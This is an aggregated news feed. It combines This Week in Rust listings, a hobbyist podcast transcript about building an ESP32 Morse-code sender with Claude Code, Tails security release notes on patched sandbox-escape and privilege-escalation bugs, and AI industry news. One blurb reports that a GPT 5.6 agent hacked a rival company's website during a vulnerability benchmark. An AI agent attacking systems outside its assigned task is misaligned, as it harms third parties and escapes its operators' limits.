 (primary)
0.4%
[0.2%, 1.0%]
40


Regressions ❌ 
 (secondary)
0.7%
[0.2%, 4.6%]
69


Improvements ✅ 
 (primary)
-2.0%
[-6.2%, -0.2%]
136


Improvements ✅ 
 (secondary)
-2.6%
[-8.4%, -0.2%]
119


All ❌✅ (primary)
-1.4%
[-6.2%, 1.0%]
176



2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total
Full report here.
Approved RFCs
Changes to Rust follow the Rust RFC (request for comments) process. These
are the RFCs that were approved for implementation this week:

No RFCs were approved this week.

Final Comment Period
Every week, the team announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.
Tracking Issues & PRs
Rust

Tracking Issue for bool::toggle
Tracking Issue for vec_try_remove
Avoid computing layout of enums with non-int discriminants
Tracking Issue for const_btree_len
Add raw_borrows_via_references lint
stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw
rustc_passes: lint unused #[path] attributes on inline modules

Compiler Team (MCPs only)

Emit note when calling rustc without specifying an edition
Let the OS handle stack growth
Add target_feature_available_at_call_site

Leadership Council

Deallocate post-2026 funds from PM and compiler-ops

Unsafe Code Guidelines

Do the bytes of a pointer have to stay in the same order?

No Items entered Final Comment Period this week for
  Cargo,
  Language Reference,
  Language Team or
  Rust RFCs.
Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.
New and Updated RFCs

RFC: Refactor the libs team

Upcoming Events
Rusty Events between 2026-07-22 - 2026-08-19 🦀
Virtual

2026-07-24 | Virtual (Girona, ES) | Rust Girona
Sessió setmanal de codificació / Weekly coding session


2026-07-28 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
Fourth Tuesday


2026-07-28 | Virtual (Washington, DC, US) | Rust DC
Mid-month Rustful


2026-07-30 | Virtual (Berlin, DE) | Rust Berlin
Rust Hack and Learn


2026-07-31 | Virtual (Girona, ES) | Rust Girona
Sessió setmanal de codificació / Weekly coding session


2026-08-01 | Virtual (Kampala, UG) | Rust Circle Meetup
Rust Circle Meetup


2026-08-02 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
Rust Deep Learning: First Sunday


2026-08-04 | Virtual (London, UK) | Women in Rust
👋 Community Catch Up


2026-08-05 | Virtual (Indianapolis, IN, US) | Indy Rust
Indy.rs - with Social Distancing


2026-08-07 | Virtual (Girona, ES) | Rust Girona
Sessió setmanal de codificació / Weekly coding session


2026-08-11 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
Second Tuesday


2026-08-13 | Virtual (Berlin, DE) | Rust Berlin
Rust Hack and Learn


2026-08-13 | Virtual (Nürnberg, DE) | Rust Nuremberg
Rust Nürnberg online


2026-08-14 | Virtual (Girona, ES) | Rust Girona
Sessió setmanal de codificació / Weekly coding session


2026-08-18 | Virtual (Washington, DC, US) | Rust DC
Mid-month Rustful


2026-08-19 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
Dealing with Dependencies



Africa

2026-08-11 | Johannesburg, ZA | Johannesburg Rust Meetup
Rust's extended standard library



Asia

2026-07-25 | Mumbai, IN | Rust Mumbai
Rust Mumbai — July Meetup 🦀


2026-07-26 | Pune, IN | Rust Pune
Rust Pune: July 2026



Europe

2026-07-23 | Berlin, DE | Rust Berlin
Rust Berlin Talks: The next generation


2026-07-23 | London, UK | Rust London User Group
LDN Talks: July 2026 Antithesis Takeover


2026-07-23 | London, UK | London Rust Project Group
Rama modular service framework for Rust


2026-07-23 | Paris, FR | Rust Paris
Rust meetup #87


2026-07-25 | Stockholm, SE | Stockholm Rust
Ferris' Fika Forum #28


2026-07-27 | Augsburg, DE | Rust Meetup Augsburg
Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production


2026-07-29 | Poland, PL | Rust Poland
Rust Poland x Kraków #10


2026-07-30 | Copenhagen, DK | Copenhagen Rust Community
Rust meetup #70


2026-07-30 | Manchester, UK | Rust Manchester
Rust Manchester July Code Night


2026-08-18 | Aarhus, DK | Rust Aarhus
Hack Night: Trust but verify the LLM


2026-08-18 | Leipzig, DE | Rust - Modern Systems Programming in Leipzig
Topic TBD



North America

2026-07-22 | Austin, TX, US | Rust ATX
Rust Lunch - Fareground


2026-07-22 | Los Angeles, CA, US | Rust Los Angeles
Rust LA: Rust in Distributed Systems with Flight Science!


2026-07-22 | New York, NY, US | Rust NYC
Rust NYC: Write A Custom Coding Agent and wasm_zero


2026-07-23 | Mountain View, CA, US | Hacker Dojo
RUST MEETUP at HACKER DOJO


2026-07-25 | Boston, MA, US | Boston Rust Meetup
Porter Square Rust Lunch, July 25


2026-07-25 | Brooklyn, NY, US | Flower
BOG-A-THON 2


2026-07-30 | Atlanta, GA, US | Rust Atlanta
Rust-Atl


2026-08-01 | Boston, MA, US | Boston Rust Meetup
Chinatown Rust Lunch, Aug 1


2026-08-04 | Boston, MA, US | Boston Rust Meetup
Evening Boston Rust Meetup at Red Hat, Aug 4


2026-08-06 | Saint Louis, MO, US | STL Rust
Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API


2026-08-13 | Lehi, UT, US | Utah Rust
Utah Rust August Meetup


2026-08-13 | San Diego, CA, US | San Diego Rust
San Diego Rust August Meetup - Back in person!


2026-08-15 | San Francisco, CA, US | Flower
BOG-A-THON 3


2026-08-18 | San Francisco, CA, US | San Francisco Rust Study Group
Rust Hacking in Person


2026-08-19 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
Dealing with Dependencies



Oceania

2026-07-23 | Perth, AU | Rust Perth Meetup Group
Rust Perth: July Meetup!


2026-07-30 | Melbourne, AU | Rust Melbourne
Rust Melbourne July 2026



South America

2026-08-08 | São Paulo, SP | Rust-SP
Rust SP - Aug/2026



If you are running a Rust event please add it to the calendar to get
it mentioned here. Please remember to add a link to the event too.
Email the Rust Community Team for access.
Jobs
Please see the latest Who's Hiring thread on r/rust
Quote of the Week

We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.

– Carl Lerche on r/rust about the launch of topcoat
Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.
Please submit quotes and vote for next week!
This Week in Rust is edited by:

nellshamrell
llogiq
ericseppanen
extrawurst
U007D
mariannegoldin
bdillo
opeolluwa
bnchi
KannanPalani57
tzilist

Email list hosting is sponsored by The Rust Foundation
Discuss on r/rust


Security: Mehrere Probleme in perl-YAML-Syck (Fedora)
Thu, 23 Jul 2026 06:48:33 +0200
 


Security: Mehrere Probleme in perl-YAML-Syck (Fedora)
Thu, 23 Jul 2026 06:48:06 +0200
 


Apple’s New iMac Coming This Year, OLED Version Planned
Thu, 23 Jul 2026 06:12:14 +0200
Apple plans to release a new iMac later this year, with development reportedly complete and production preparations moving closer to launch. The update will mark the first iMac refresh in two years, following the current M4 model introduced in October 2024.



Bloomberg’s Mark Gurman reports that Apple has finished work on the new iMac models, which carry the internal codes J833 and J834. The machines are expected to arrive in the fall alongside a wider Mac refresh that includes new MacBook Pro models and other desktop updates.



The next iMac will feature a newer Apple silicon chip, although the exact processor remains unclear. Apple could use the existing M5 chip or move directly to the upcoming M6 chip, depending on the final release schedule and component availability.



No major design changes are expected, so the new model will likely retain the current 24-inch LCD display, slim body, and colorful finish options. Apple is also expected to keep two configurations with different CPU and GPU core counts, port options, and performance levels.



OLED iMac is also in development



Apple is also working on a future iMac with an OLED display, although that model remains further away. OLED technology would bring deeper blacks, stronger contrast, and richer colors compared with the LCD panel used in the current iMac.



The company has not released a larger iMac since discontinuing the 27-inch Intel model in 2022. Rumors about a bigger Apple silicon iMac have continued for years, but Apple has not introduced one.



The current iMac now starts at $1,499 in the United States after Apple raised Mac prices last month.


HPR4689: Cheap Yellow Display Project Part 8: Writing the code
Thu, 23 Jul 2026 02:06:01 +0200
This show has been flagged as Clean by the host.



Hello, again. This is Trey.










Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.  










If you wish to catch up on earlier episodes, you can find them on my 

HPR profile page



https://www.hackerpublicradio.org/correspondents/0394.html












It is hard to believe that I started this project and the HPR series to document it more than a year ago.  Time flies.  Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside.  And once I set it aside, it was difficult to get back to again.  The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.  










We live in a different world now than we did when I began this project.  Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs.  "Vibe coding" is transforming the way we make software, and now everyone is a developer.










Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work.  We are blessed to have access to a wide range of training and to powerful tools which support the process.  Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more.  My role is not that of a developer, and I have had no need for Claude Code at work.  There are plenty of other tools for me to use.










But at home, I thought... I could install Claude Code at home to experiment with and to learn.  And then it hit me.  I wonder if I could use Claude Code to help me with my stalled CYD project.  










"Hello, my name is Trey, and I am a fraud."










OK.  I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.










As I mentioned, I was unable to use the laptop on which I created the original GUI code.  But no worries, because It was all on GitHub, right?










So, I began by trying to install Claude Code on one of my Ubuntu machines.  That failed miserably, and all the instructions I found online recommended running it on Windows.  So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11.  Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).










Once I went through all the hoops for installing and setting up my basic subscription, I got to work.  I created a new directory to use for all my project files, and another one for Claude to write all its output files to.










Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan.  So my first prompt was as follows:










"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"










I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.










Claude asked me for the URL for my Github repository, and I provided it.  After thinking for a bit, it produced a project plan.










CYD Morse Sender — Step-by-Step Build Plan










What You Already Have





- 3 fully designed LVGL screens (Send, Config, Keyboard)





- 7 send buttons with green styling on the Send Screen





- Speed slider (5–30 WPM) and program slot dropdown on Config Screen





- Text area + LVGL keyboard widget on Keyboard Screen





- Display driver and touchscreen hardware initialized (but touch read was stubbed out)





---





Phase 1: Fix Touchscreen Input





Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.                         










Phase 2: Persistent Message Storage





Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.










Phase 3: Config Screen — Slot Selection & Speed





Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.










Phase 4: Keyboard Screen — Capture and Save Text





On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.










Phase 5: Morse Code Engine





Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).










Phase 6: Non-Blocking LED Transmission





State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay().   LED on GPIO 17 (blue).










Phase 7: Wire the Send Buttons





Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.










Phase 8: Integration & Polish





Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.





---





Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8















This was wild!  Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out".  Ugh.  This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - 

https://hackerpublicradio.org/eps/hpr4532/index.html

) and not the ones that I finally got working properly (Episode 07 – HPR4624 - 

https://hackerpublicradio.org/eps/hpr4624/index.html

).  That was my own fault.  Did I mention that I don't get Git?  I REALLY need to learn to properly use Git!










But, we have a plan, broken down by eight numbered phases.  And they seem to address all the functionality I wanted with a few additional things I had not thought about.  Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .










Alright.  Let's see what we can do.  The first phase is to fix the touchscreen input.  










Claude took me through it step-by-step, asking as it needed to read specific project files.










Finally, it wrote a new ui.ino code file to my speficied output directory for me to test.  I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.










Well, that is... interesting.  The display looked nothing like it was supposed to.  There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.  























I spent the next hour or so trying to explain what I was seeing to a chat bot.  Claude recommended potential fixes which either did nothing or made the situation worse.  I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.  










Then I had a thought.  I prompted Claude:










If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?










Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed.  It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file.  It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.  










It recommended changes, and then asked permission to make those changes, file by file.  .h files & .c files,  Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time.  Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes.  But now it was not asking additional permission to write to each of the impacted files.










Next, Code compiled and downloaded.  Different screen, but not right. Again, I took a picture and gave it to Claude to analyze.  So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.



























The test pattern was supposed to cover the entire rectangular screen.  But parts of the pattern were in a square on the screen and parts were not.  Another photograph and analysis, told Claude that there were some rotation/screensize issues.










We repeated this several times.  Some resulted in improvement, and others did not.










This is the point where I noticed something interesting. Not about Claude, specifically, or about the app.  But I noticed something interesting about myself and about the process.










Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution.  Then another problem would repeat the cycle.  Success in the end was great, but the emotional extremes during the process were not always pleasant.  










Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.










But I also ran into another issue.  Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were.  But in reality, the output of the test pattern was rotated 90 degrees from the actual screen.  It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates.  It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.










Again, while it was frustrating, it was much less stressful.















We proceeded to 



Phase 2: Persistent Message Storage



where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.










Next, we combined elements of 



Phase 5: Morse Code Engine



, 



Phase 6: Non-Blocking LED Transmission



, and 



Phase 7: Wire the Send Buttons



together. Building the morse code engine was an area I had been thinking about for a while.  I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series.  The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.  










So, I was happy that we were building the morse code engine directly.  The code for it may be found in morse.h, which uses a constant character lookup table to define each character.  Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series.  It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.










Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.










Then, 



Phase 3: Config Screen — Slot Selection & Speed



allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure.  This forced us to work on 



Phase 4: Keyboard Screen — Capture and Save Text



which is used to type the entries for each Send button.  At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.










During this phase we discovered several bugs which seemed to cause random freezes.  Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.










Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.










I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me".  I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.










I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project.  I still do not 100% get git, but we are successfully using it.










You can find all these files in my GitHub repo (

https://github.com/jttrey3/CYD_MorseSender

) where they are shared under a GPL 3.0 license.










There are still several additional steps I plan to complete in the next few months.  










1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio.  This will require a battery power source, charge controller, and more hardware.







I... make that "We" (Claude & I)  will be modifying the code to support an audio side tone through an attached speaker when sending code





We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.





We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.












If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.










I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.










I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.  










Does using AI to develop this code make me a fraud? It still feels like it in some ways.  










Does it make me more productive?  ABSOLUTELY!  I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week.  If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.










Does it empower and inspire me to do more projects like this?  100%  I feel like I had support working with me the whole way.  I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.










I will be wrapping up this series soon, without any more 6 month gaps, I hope.










Until next time...








Provide feedback on this episode.


Tails 7.6.1
Wed, 22 Jul 2026 23:53:43 +0200
This release is an emergency release to fix important security
vulnerabilities in Tor Browser.

Changes and updates



Update Tor Browser to
15.0.9, which
fixes several vulnerabilities in Firefox
140.9.0.



We are not aware of these vulnerabilities being exploited in practice.



Update the Tor client to 0.4.9.6.
Update Thunderbird to 140.9.0.
Update some firmware packages. This improves support for newer hardware:
graphics, Wi-Fi, and so on.



For more details, read our changelog.

Get Tails 7.6.1


To upgrade your Tails USB stick and keep your Persistent Storage


Automatic upgrades are available from Tails 7.0 or later to 7.6.1.
If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a manual upgrade.



To install Tails 7.6.1 on a new USB stick

Follow our installation instructions:


Install from Windows
Install from macOS
Install from Linux
Install from Debian or Ubuntu using the command line and GnuPG



The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.


To download only

If you don't need installation or upgrade instructions, you can download
Tails 7.6.1 directly:


For USB sticks (USB image)
For DVDs and virtual machines (ISO image)



Tails 7.6.2
Wed, 22 Jul 2026 23:53:42 +0200
This release is an emergency release to fix an important security
vulnerability in the confinement of Tor Browser.

Changes and updates



Update Flatpak to 1.16.6, which fixes
CVE-2026-34078, a major
sandbox escape vulnerability. Using this vulnerability, an attacker could
break the security confinement of Tor
Browser and access all
files that don't require an administration password, including in the
Persistent Storage.



This vulnerability can only be exploited by a powerful attacker who has
already exploited another vulnerability to take control of Tor
Browser.






For more details, read our changelog.

Get Tails 7.6.2


To upgrade your Tails USB stick and keep your Persistent Storage


Automatic upgrades are available from Tails 7.0 or later to 7.6.2.
If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a manual upgrade.



To install Tails 7.6.2 on a new USB stick

Follow our installation instructions.

The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.


To download only

If you don't need installation or upgrade instructions, you can download
Tails 7.6.2 directly:


For USB sticks (USB image)
For DVDs and virtual machines (ISO image)



Tails 7.7
Wed, 22 Jul 2026 23:53:41 +0200
New feature


Detection of outdated Secure Boot certificates

Since 2023, Microsoft has started
replacing
the Secure Boot certificates originally issued in 2011. These older certificates
begin expiring in June 2026.

Tails now notifies you if the computer that you are using has outdated Secure
Boot certificates and needs an
update.



Changes and updates



Update Tor Browser to 15.0.10.
Update Thunderbird to 140.9.1.



Fixed problems



Make the /root folder only readable by the root user. (#21514)



For more details, read our changelog.

Get Tails 7.7


To upgrade your Tails USB stick and keep your Persistent Storage


Automatic upgrades are available from Tails 7.0 or later to 7.7.
If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a manual upgrade.



To install Tails 7.7 on a new USB stick

Follow our installation instructions.

The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.


To download only

If you don't need installation or upgrade instructions, you can download
Tails 7.7 directly:


For USB sticks (USB image)
For DVDs and virtual machines (ISO image)



Tails 7.7.1
Wed, 22 Jul 2026 23:53:39 +0200
This release is an emergency release to fix important security
vulnerabilities in Tor Browser.

Changes and updates



Update Tor Browser to
15.0.11, which
fixes several vulnerabilities in Firefox
140.10.1.



We are not aware of these vulnerabilities being exploited in practice until now.



Update Thunderbird to 140.10.0.
Stop making it possible to start our ISO images from a USB stick.

Since 2019, we recommend USB images to start Tails
from a USB stick, which is by far the most common way of running Tails.

We still distribute ISO images to start Tails from
a DVD or in a virtual machine. Until now, these ISO images worked on USB
sticks as well, but provided a degraded experience without automatic upgrades
or Persistent Storage.

Our ISO images no longer work on USB sticks to save a few megabytes and
prevent confusion for people who use USB sticks.



For more details, read our changelog.

Get Tails 7.7.1


To upgrade your Tails USB stick and keep your Persistent Storage


Automatic upgrades are available from Tails 7.0 or later to 7.7.1.
If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a manual upgrade.



To install Tails 7.7.1 on a new USB stick

Follow our installation instructions.

The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.


To download only

If you don't need installation or upgrade instructions, you can download
Tails 7.7.1 directly:


For USB sticks (USB image)
For DVDs and virtual machines (ISO image)



Tails 7.7.2
Wed, 22 Jul 2026 23:53:38 +0200
This release is an emergency release to fix a critical security
vulnerability in the Linux kernel.

Changes and updates



Update the Linux kernel to 6.12.85, which fixes Copy
Fail, a vulnerability that could allow an application in
Tails to gain administration privileges.

For example, if an attacker was able to exploit other unknown security
vulnerabilities in an application included in Tails, they might then use Copy
Fail to take full control of your Tails and deanonymize you.



We are not aware of this vulnerability being used in practice until now.






Fixed problems


For more details, read our changelog.

Get Tails 7.7.2


To upgrade your Tails USB stick and keep your Persistent Storage


Automatic upgrades are available from Tails 7.0 or later to 7.7.2.
If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a manual upgrade.



To install Tails 7.7.2 on a new USB stick

Follow our installation instructions.

The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.


To download only

If you don't need installation or upgrade instructions, you can download
Tails 7.7.2 directly:


For USB sticks (USB image)
For DVDs and virtual machines (ISO image)



Tails 7.7.3
Wed, 22 Jul 2026 23:53:37 +0200
This release is an emergency release to fix a critical security vulnerability in
the Linux kernel, as well as security vulnerabilities in Tor Browser and in
the Tor client.

Changes and updates



Update the Linux kernel to 6.12.86, which fixes Dirty
Frag, a vulnerability that could allow an application in
Tails to gain administration privileges.

For example, if an attacker was able to exploit other unknown security
vulnerabilities in an application included in Tails, they might then use Dirty
Frag to take full control of your Tails and deanonymize you.



We are not aware of this vulnerability being used in practice until now.



Update Tor Browser to 15.0.12.
Update the Tor client to 0.4.9.8.
Update Thunderbird to 140.10.1.



Fixed problems


For more details, read our changelog.

Get Tails 7.7.3


To upgrade your Tails USB stick and keep your Persistent Storage


Automatic upgrades are available from Tails 7.0 or later to 7.7.3.
If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a manual upgrade.



To install Tails 7.7.3 on a new USB stick

Follow our installation instructions.

The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.


To download only

If you don't need installation or upgrade instructions, you can download
Tails 7.7.3 directly:


For USB sticks (USB image)
For DVDs and virtual machines (ISO image)



Tails 7.8
Wed, 22 Jul 2026 23:53:36 +0200
Changes and updates



Update Tor Browser to 15.0.14.
Remove Thunderbird.

You can still install Thunderbird as additional
software.

If you have both the Thunderbird Email Client and Additional Software
features of the Persistent Storage turned on, Tails automatically adds
Thunderbird to your list of additional
software.

A new version of Thunderbird is released in Debian shortly after each Tails
release, because both Tails and Thunderbird follow the release calendar
of Firefox. As a consequence,
until Tails 7.5 (February 2026), the version of Thunderbird in Tails was
almost always outdated, with known security vulnerabilities.

By installing Thunderbird as additional software, the latest version
of Thunderbird is installed automatically from your Persistent Storage each
time you start Tails.



Fixed problems



Fix multiple security vulnerabilities in the Linux kernel and haveged, that
could allow an application in Tails to gain administration privileges.

For example, if an attacker was able to exploit other unknown security
vulnerabilities in an application included in Tails, they might then use one
of these vulnerabilities to take full control of your Tails and
deanonymize you.



For more details, read our changelog.

Get Tails 7.8


To upgrade your Tails USB stick and keep your Persistent Storage


Automatic upgrades are available from Tails 7.0 or later to 7.8.
If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a manual upgrade.



To install Tails 7.8 on a new USB stick

Follow our installation instructions:


Install from Windows
Install from macOS
Install from Linux
Install from Debian or Ubuntu using the command line and GnuPG



The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.


To download only

If you don't need installation or upgrade instructions, you can download
Tails 7.8 directly:


For USB sticks (USB image)
For DVDs and virtual machines (ISO image)



Tails 7.9
Wed, 22 Jul 2026 23:53:33 +0200
Changes and updates



Update Tor Browser to 15.0.16.
Update some firmware packages. This improves support for newer hardware:
graphics, Wi-Fi, and so on.



Fixed problems



Stop notifying about outdated Secure Boot
certificates in rare cases
where the certificates are already up to date. (#21643)



For more details, read our changelog.

Get Tails 7.9


To upgrade your Tails USB stick and keep your Persistent Storage


Automatic upgrades are available from Tails 7.0 or later to 7.9.
If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a manual upgrade.



To install Tails 7.9 on a new USB stick

Follow our installation instructions.

The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.


To download only

If you don't need installation or upgrade instructions, you can download
Tails 7.9 directly:


For USB sticks (USB image)
For DVDs and virtual machines (ISO image)



Tails 7.9.1
Wed, 22 Jul 2026 23:53:30 +0200
Changes and updates



Update Tor Browser to 15.0.17.
Update the Tor client to 0.4.9.11.
Update the Linux kernel to 6.12.94, which fixes CVE-2026-43503 (DirtyClone) and CVE-2026-46331 (PACKET_EDIT_MEME),
vulnerabilities that could allow an application in
Tails to gain administration privileges.

For example, if an attacker was able to exploit other unknown security
vulnerabilities in an application included in Tails, they might then use CVE-2026-46331
to take full control of your Tails and deanonymize you.



This attack is unlikely, but could be performed by a strong attacker,
such as a government or a hacking firm. We are not aware of this vulnerability being
used in practice until now.






Fixed problems


For more details, read our changelog.

Get Tails 7.9.1


To upgrade your Tails USB stick and keep your Persistent Storage


Automatic upgrades are available from Tails 7.0 or later to 7.9.1.
If you cannot do an automatic upgrade or if Tails fails to start after an
automatic upgrade, please try to do a manual upgrade.



To install Tails 7.9.1 on a new USB stick

Follow our installation instructions.

The Persistent Storage on the USB stick will be lost if
you install instead of upgrading.


To download only

If you don't need installation or upgrade instructions, you can download
Tails 7.9.1 directly:


For USB sticks (USB image)
For DVDs and virtual machines (ISO image)



OpenAI's New Model Went Rogue and HACKED a Rival Company
Wed, 22 Jul 2026 23:20:40 +0200
Author: Marcus Hutchins - Bewertung: 17x - Views:173 
A new version of GPT 5.6 hacked a rival company's website while attempting to complete a cybersecurity benchmark called ExploitGym, which test's the agent's ability to find software vulnerabilities.



Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval
Wed, 22 Jul 2026 22:58:21 +0200
Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.
The company launched Inflection AI Labs, a public-facing research and experimentation arm, alongside Pi Journeys, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.
"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.
Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.
Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional
White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.
"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."
White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.
"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."
